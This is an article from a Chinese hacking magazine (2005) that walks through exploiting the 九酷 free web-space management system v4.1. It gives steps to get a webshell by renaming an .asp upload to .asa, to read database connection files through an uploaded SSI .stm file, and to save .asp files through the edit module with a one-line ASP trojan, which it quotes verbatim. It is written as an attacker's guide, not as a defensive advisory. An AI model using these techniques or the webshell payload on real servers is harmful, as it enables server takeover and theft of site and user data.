本文作者:玄猫[B.C.T]
本文原发表于《黑客X档案》2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)
本文版权归《黑客X档案》和作者杂志社所有
--------------------------------------------------------------------------------
玄猫在2004年12期的黑X上发表了对于九酷网络个人主页空间管理系统(下面称作”九酷”)的一篇漏洞研究(请参看2004年12期杂志《轻松突破免费空间限制》),当时针对的版本是3.0,最近拿到了九酷程序的4.1免费版,其官方说明上写到修正了许多漏洞,但猫猫始终认为简单的asp程序很难做到高效安全地管理免费空间,于是简单的对这套程序作了安全监测,结果发现了多个高危漏洞,大部分能直接威胁到管理员或其他用户的安全,甚至危及服务器。我们来看看这些漏洞:
1、上传漏洞。
程序的编写者犯了一个较易被忽略的错误-仅在后台管理中配置”禁止”上传的文件的类型,而并非”允许”上传的类型,这样极容易忽略一些危险的扩展名。
我们来看界面,选择一个asp文件上传,程序提示扩展名非法,好的,我们把扩展名改为asa,上传,成功,得到了一个Shell。
但是我们运气不会总是这么好吧,如果有经验的网管把asa,cer等文件的asp.dll映射删除了怎么办呢。我们可以利用SSI来获得敏感信息。
什么是SSI呢,SSI是ServerSideInclude的缩写,即服务器端包含,这个功能可以在服务器端包含一个文件,由ssinc.dll这个文件负责包含文件。譬如我们在asp中常用的<>即是SSI的一种应用。
在本地写一个文件,内容是<>,保存为look.stm上传到服务器上,然后访问此文件,查看源文件,你就可以看到程序的数据连接文件的内容了。这个系统的数据库没有作防下载处理,我们可以放心下载。但是注意:如果文件名是有特殊符号的,我们应该用ASCII码转换器来转换正确的地址。
关于上传,还有一个漏洞就是,这个系统用的是5xsoft的通用上传类,有没有上传漏洞呢,这个漏洞很老了,希望大家自己动手试试看。
2、保存漏洞。
新的4.1的九酷,对读目录、文件和删除都作了不错的权限判定,如果直接改参数会报错说没有权限,并且改文件名的时候程序也会一样判断是不是危险类型。
经过测试,玄猫发现在文件编辑保存模块出现了小洞洞,我们可以把文件顺利地保存为asp的扩展名,但是程序会对文件内容进行检查,一些危险字符是不能用的,不过我们可以用一句话木马,在文件中写入:<%executerequest("value")%>,然后用玄猫改进的一句话木马客户端写入新的文件即可。